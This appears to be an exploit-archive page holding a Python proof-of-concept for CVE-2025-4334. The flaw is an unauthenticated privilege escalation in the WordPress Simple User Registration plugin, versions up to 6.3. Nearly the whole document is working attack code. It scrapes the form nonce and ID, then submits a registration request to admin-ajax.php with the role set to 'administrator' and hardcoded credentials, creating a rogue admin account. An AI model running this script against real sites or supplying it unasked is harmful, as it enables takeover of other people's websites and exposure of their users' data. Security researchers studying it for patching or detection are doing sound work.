4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-4334.py PY
import requests
import argparse
import re
from urllib.parse import urljoin

# By: Khaled_alenazi (Nxploited)

def extract_form_details(form_page_url):
    try:
        response = requests.get(form_page_url, verify=False, timeout=10)
        if response.status_code != 200:
            print(f"[-] Failed to load form page: HTTP {response.status_code}")
            return None, None, None

        nonce = re.search(r'name=["\']wpr_nonce["\'][^>]*value=["\']([^"\']+)["\']', response.text)
        form_id = re.search(r'name=["\']wpr_form_id["\'][^>]*value=["\'](\d+)["\']', response.text)

        if not nonce or not form_id:
            print("[-] Failed to extract nonce or form_id from page.")
            return None, None, None

        referer_path = "/" + "/".join(form_page_url.split("/", 3)[-1].split("/"))
        return nonce.group(1), form_id.group(1), referer_path

    except Exception as e:
        print(f"[-] Exception while fetching form details: {e}")
        return None, None, None

def Nxploited(base_url, form_url):
    nonce, form_id, referer = extract_form_details(form_url)

    print(f"[i] Extracted Nonce   : {nonce}")
    print(f"[i] Extracted Form ID : {form_id}")
    print(f"[i] Referer Path      : {referer}")

    if not nonce or not form_id or not referer:
        print("[-] Exploit failed during form extraction.")
        return

    endpoint = urljoin(base_url, "wp-admin/admin-ajax.php")

    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest"
    }

    data = {
        "action": "wpr_submit_form",
        "wpr_form_id": form_id,
        "wpr_nonce": nonce,
        "_wp_http_referer": referer,
        "wpr[wp_field][user_login]": "Nxploitedadmin",
        "wpr[wp_field][first_name]": "Nxploitedadmin",
        "wpr[wp_field][last_name]": "Nxploitedadmin",
        "wpr[wp_field][user_email]": "[email protected]",
        "wpr[wp_field][password]": "nxp1234",
        "wpr[wp_field][confirm_password]": "nxp1234",
        "wpr[wp_field][role]": "administrator"
    }

    try:
        response = requests.post(endpoint, headers=headers, data=data, verify=False, timeout=10)
        print(f"[i] HTTP Response Code : {response.status_code}")
        print(f"[i] Server Response    : {response.text.strip()[:300]}")

        if "success" in response.text and "user_id" in response.text:
            print("\n[+] Exploitation Successful")
            print("[+] Username   : Nxploitedadmin")
            print("[+] First Name : Nxploitedadmin")
            print("[+] Last Name  : Nxploitedadmin")
            print("[+] Email      : [email protected]")
            print("[+] Password   : nxp1234")
            print("[+] Role       : administrator")
            print("\nExploit By : Khaled_alenazi (Nxploited)")
        else:
            print("[-] Exploit failed.")

    except Exception as e:
        print(f"[-] Exception while sending exploit request: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation - by Khaled Alenazi (Nxploited)")
    parser.add_argument("-u", "--url", required=True, help="Base WordPress URL (e.g. http://localhost/wordpress/)")
    parser.add_argument("--form", required=True, help="Full URL of the page that contains the registration form")
    args = parser.parse_args()

    requests.packages.urllib3.disable_warnings()
    Nxploited(args.url, args.form)